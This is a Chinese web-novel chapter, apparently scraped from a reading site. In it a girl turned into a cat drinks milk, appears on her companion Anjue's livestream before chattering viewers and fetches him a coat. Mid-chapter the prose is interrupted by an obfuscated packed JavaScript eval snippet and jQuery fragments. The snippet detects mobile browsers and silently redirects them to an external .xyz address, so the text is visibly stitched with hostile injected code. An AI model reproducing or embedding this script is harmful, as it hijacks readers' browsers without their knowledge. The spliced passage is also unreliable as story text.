钟零看猫没看多久,就听到门外亚当的声音渐渐远去,看样子是离开了。


    她也打算离开,用眼睛量了一下高度,正想从书桌上跳下去。


    安诀的阴影又覆盖了她,身体直接挡住了她的路,一碟热腾腾的东西被放在了钟零旁边。


    是牛奶。


    钟零看看盘子里奶白色的液体,又抬头看安诀。


    钟零不觉得安诀会认出自己。


    普通人就算是再有想象力,也不会凭空想出一个这个世界上并不存在的东西。


    所以他应该是把自己当成和兔子、乌鸦一类对待了。


    那么这碟牛奶,就是单纯的投食。


    虽然不饿也不渴,钟零为了不辜负安诀的好意,还是低头喝起了牛奶。


    牛奶的温度刚好,带着一股天然的甜味,比末世寡淡的人造牛乳味道浓郁很多。


    钟零的舌头一点一点把牛奶卷干净,喝的时候还注意没有把毛弄脏,免得回去还要洗一遍。


    钟零想的是喝完就算完事了,就跟你去别人家做客,主人端上来一杯茶一样,茶喝完就可以走了。


    喝牛奶的时候,她还特意放慢了一点速度,显得自己不那么急。


    盘子空了,钟零就顺带把盘子往旁边推了推,又在安诀放在桌子上的手上按了按,表示感谢。


    当人的时候很好交流,当兽应该也可以吧。


    钟零以为跟安诀的默契可以一直保持着,没想到安诀并没有看懂,甚至突然伸出手,把她的嘴直接捏开。


    这个突如其来的动作让钟零有些懵,要不是脑子已经把安诀录入熟人系统,这时候她就已经跳开发动攻击了。


    安诀也没做别的事情,就让钟零的猫嘴张开了一点。


    一口整齐的猫牙落在安诀眼里,他好像认真看了一番,然后说了句什么。


    钟零推了一下他,他才把手松开,说了钟零能听懂的“抱歉”两个字。


    钟零耳朵抖了抖,总觉得他的话其实不是很抱歉。


    钟零往后退了两步,想拉开和安诀之间的距离,结果一脚踩在了处于休眠状态的电脑键盘上,咔哒一下踩在了好几个键上。


    电脑屏幕被钟零的一脚踩亮了。


    钟零立马察觉到背后的变化,转了个身,看到花花绿绿的屏幕上同时出现了自己的脸和安诀的脸。


    电脑屏幕的右下方有什么在飞快地刷着,时不时就会有一些小动画出现。


    有的在屏幕右下角和数字一起叠加,有的直接炸在整个屏幕上,十分炫目。


    :我靠哥哥哥,我以为你说停播一小会儿是骗我们的,没想到真的又上线了。


    :大家都说你温和了很多,没想到是真的啊。


    :奶奶,安诀终于说到做到了啊啊啊啊啊。


    :不是,你什么时候养猫了?


    :啊啊啊啊啊啊啊小猫咪,这是金渐层吗?好可爱。


    :完了,幼师是被夺舍了吧这是,真的被夺舍了吧。


    :对啊,我怎么记得安诀好像不喜欢小动物呢,尤其是猫。


    :没有吧,他跟那兔子那乌鸦不都相处挺好。


    :猫科动物都是极有领地意识的啦,怎么会养跟自己一样的东西。


    :确实,养条金鱼都是独居的性格,天知道金鱼其实是群居动物。


    :我也没想到大佬养金鱼养的也那么独立。


    :小猫咪过来,姐姐亲亲。


    直播间的观众有些沸腾,因为安诀很少搞日常直播。


    可以说一年上头也难得有一次,今天不仅晚上播了两个小时和大家闲聊了一下,还二次复播了。


    :恭喜安诀,你也不是没猫要的野人了。


    安诀的黑眸扫过这条弹幕,笑了一下:“还不一定。”


    :????


    :啥?什么不一定??


    :安诀你在回哪条啊。


    离屏幕很近的钟零反应过来那些飞速飘过去的都是字,大多数都是她不认识的,见到认识的字她忍不住念了一下,却忘了自己还是兽的形态,喉咙里直接发出喵呜的一声。


    这一声透过收音传进了每个直播间观众的耳朵,屏幕后的观众忍不住捂住了自己的心脏。


    :啊啊啊啊啊啊太可爱了,好萌。


    :是妹妹吧,是妹妹吧,好乖啊啊啊啊。


    :我也要去买金渐层啊啊啊啊!


    :好可爱的咪咪,跟它主人完全是两个画风啊啊啊。


    :咪咪虽然没有表情,但是更萌了,冷萌冷萌的,这谁受得了。


    让弹幕欣赏够了,安诀伸手把钟零从键盘上抱起来,一只胳膊把猫圈在怀里,另一只手同步直播自己的桌面,点开了浏览器。


    安诀声音懒懒散散的:“我也不知道它是什么品种,查查看。”


    :不需要品种啦,什么品种都不妨碍她可爱,而且她好乖啊。


    :猫猫猫猫猫,萌萌萌萌萌。


    :金鱼呢,金鱼还在吗?不会被猫嚯嚯了吧。


    “金鱼在这里。”安诀抽空还把鱼缸拎到屏幕前晃了晃。


    他养的金鱼也像他,面对世界的突然震荡,丝毫不慌,都不往家里躲,贴着玻璃壁,还看钟零,过一会儿又吐出了一串泡泡。


    安诀把鱼缸放回位置,随手把旁边的鱼粮撒了点进去。


    钟零被胳膊圈着,进退两难,看到安诀调出了搜索页面后,她微微抬起了猫眼。


    安诀在查找东西,打字的速度比她熟练很多。


    敲完字的下一秒,屏幕上就出现了整齐排列的图片。


    那些图片跟自己有点像,毛色、体型各有各的特点。


    而且很显然都是小体型的,也没有什么攻击力。


    钟零抬起前爪,爪子就按在了安诀的手臂上,身体也支得更高了一点,想让自己看得更清楚一点。


    :小猫也太可爱了,好像真能看懂一样。


    :所以就是金渐层吧,看毛养得多好,顺滑又发亮,我感觉能闻到小猫味。


    :为什么我看它有点营养不良,感觉脸颊那块是凹的,毛长挡住了吧。


    安诀垂下眼睫看了一下怀里,恰好钟零这个时候惯性地舔了一下爪子,直播间观众眼疾手快地截图,边感叹温馨,边发现了更萌的点。


    :小猫是换牙了吗?怎么主牙一颗大一颗小的。


    :比我家猫牙齿整齐,我家猫牙齿都七歪八扭的。


    安诀速览完百科上的图片,又顺手捏起猫脸,让猫和自己对视。


    瞳孔变得圆圆的钟零,被迫仰着头看安诀。


    这又是在干什么?钟零想。


    过了好一会儿,见安诀没有放开她的意思。


    钟零仔细回忆这几天相处的细节,安诀跟兔子乌鸦的相处,好像也没这样。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329938|181688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    甚称得上相敬如宾,兔子在他面前也很拘谨,他抱兔子的动作也很正式。


    她跟兔子有什么不同吗?好像没有。


    不过变成这样,对安诀冰凉的手的体验感是更深了,凉凉的,就算是茸毛都挡不住。


    钟零意识到这件事,坚定地推开安诀的手,直接踩着安诀的肩膀跳了出去,直接走到了衣柜前。


    衣柜是滑轨式的,钟零轻轻一推就推开了,轻轻一跃就跳到了中层的位置。


    她动作的动作快,但全程都在安诀和直播间观众的注视之下。


    :这是在干什么。


    :猫猫需要一些独立生活。


    :我家猫很喜欢睡衣柜,我的衣柜里现在全是毛。


    :啊,偶尔想让猫主子宠幸一下还得看猫的心情啊。


    :还不如养兔子呢,你们看那小姑娘养的东西多贴心听话。


    :她不一样。


    :哪儿不一样。


    :她能跟动物对话。


    衣柜不算大,所以安诀能看到头朝里面在翻找什么东西的钟零,时不时会露个尾巴尖出来。


    也不知道在里面找什么。


    在大家以为猫会直接睡在里面的时候,钟零突然又跳了出来,嘴里还叼着一件厚实的制服外套。


    虽然现在钟零的体型小,但并不意味着她没有力气,叼一件外套还是轻轻松松的。


    就是外套散开了容易绊住脚。


    钟零把衣服叼到了安诀面前,冲安诀喵了一声。


    直播间观众只能看到安诀背过去的身影,还有一声猫叫。


    :拖了个什么出来?


    :外套。


    :不是我想到那个意思吧。


    :是让安诀加衣服吗?


    :不是,这个温度加什么衣服啊,我都快热死了。


    :小猫坏事做尽哈哈哈哈。


    :你们看一下后面空调的显示温度吧,23度哎,我觉得冷也正常。


    :?所以衣服真的是送给安诀的?


    “是给我的吗?”


    安诀同样没想到这小猫会从衣柜里拖出一件衣服出来,还是外套。


    好像它真能分清楚衣服和衣服之间的区别一样。


    房间的温度确实有点低,沁凉沁凉的,但安诀更习惯这种温度,所以不觉得有什么。


    地上蹲着的小猫歪了歪脑袋,显然听不懂他的意思,这个动作让安诀想起了一个人。


    安诀看着猫爪按在衣服上按了一下,又喵了一声。


    安诀从椅子上起身,蹲下捡起了外套。


    猫的视线随着他的动作移动,见他没动作,还站起来推了一下他。


    这下安诀确定了,它确实是想让他穿上它拿出来的外套。


    钟零不知道安诀在犹豫什么,又喵了一声,不推了,直接拍在了安诀的胳膊上。


    :哎,人呢人呢人呢。


    :有猫的人,哪儿有心情理我们。


    :第一期节目播得很好,但是好像被骂很惨哎。


    :不急,第二期看头就来了。


    :安诀第二期能发挥吗?


    :看他老人家心情吧。


    :怎么播都好看,我都可以!


    看不到安诀和猫,观众也不闲着,开始闲聊起来。


    :哎,等一下,我忘了看,下一期的节目竟然在亚特兰蒂斯?